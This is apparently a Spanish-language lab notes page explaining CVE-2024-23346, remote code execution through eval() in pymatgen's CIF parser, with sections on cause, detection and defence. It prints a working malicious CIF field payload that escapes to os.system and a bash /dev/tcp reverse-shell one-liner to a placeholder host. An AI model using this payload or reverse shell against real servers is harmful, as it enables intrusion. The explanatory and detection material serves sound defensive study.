the_open_door
café
ESEN
← Volver al índice

RCE in pymatgen via CIF parser (CVE-2024-23346)

pymatgen es una librería de Python muy usada en química y ciencia de materiales para manipular y analizar estructuras cristalinas. La CVE-2024-23346 es una deserialización insegura en su parser de ficheros CIF (Crystallographic Information File): la función JonesFaithfulTransformation.from_transformation_str() procesa una cadena del fichero con eval(). Como eval ejecuta Python arbitrario, un atacante que controle el .cif consigue ejecución de código en cuanto la aplicación lo parsea.

El vector encaja perfecto con cualquier servicio que acepte subir un .cif y lo procese en el servidor (ver subida de fichero a RCE). El payload va escondido en el campo _space_group_magn.transform_BNS_Pp_abc, donde se construye una cadena que recorre la jerarquía de clases de Python hasta BuiltinImporter, importa os y llama a system():

_space_group_magn.transform_BNS_Pp_abc  'a,b,[d for d in ().__class__.__mro__[1].__getattribute__
( *[().__class__.__mro__[1]]+["__sub" + "classes__"]) () if d.__name__ == "BuiltinImporter"][0]
.load_module ("os").system ("COMANDO");0,0,0'

Sustituyendo COMANDO por una reverse shell se obtiene acceso. Un detalle de laboratorio importante: si la máquina víctima usa BusyBox, el one-liner clásico de bash no siempre funciona; conviene envolverlo, por ejemplo /bin/bash -c 'sh -i >& /dev/tcp/<ip>/<port> 0>&1'.

Por qué ocurre. Usar eval() sobre entrada controlada por el usuario es una de las prácticas más peligrosas que existen: convierte un fichero de datos en código. La versión vulnerable aquí es pymatgen==2024.1.26; el problema se corrige en versiones posteriores que dejan de usar eval.

Cómo detectarlo. La firma en disco es un .cif cuyo campo _space_group_magn.transform_BNS_Pp_abc contiene una cadena de escape de sandbox de Python (__class__, __mro__, BuiltinImporter, load_module("os"), system(), que ningún fichero cristalográfico legítimo lleva: un grep sobre las subidas lo delata. La confirmación es de linaje de procesos: el proceso Python que parsea el CIF lanzando sh/bash/nc como hijo (auditd/Sysmon for Linux sobre execve), algo que analizar una estructura cristalina nunca hace, seguido de una conexión saliente. Una subida de .cif seguida de un proceso hijo anómalo es la cadena.

Defensa. Actualizar pymatgen; no parsear ficheros no confiables con versiones afectadas; en general, nunca pasar entrada del usuario a eval/exec y aislar el parseo en un entorno sin privilegios.

Máquinas donde se aplica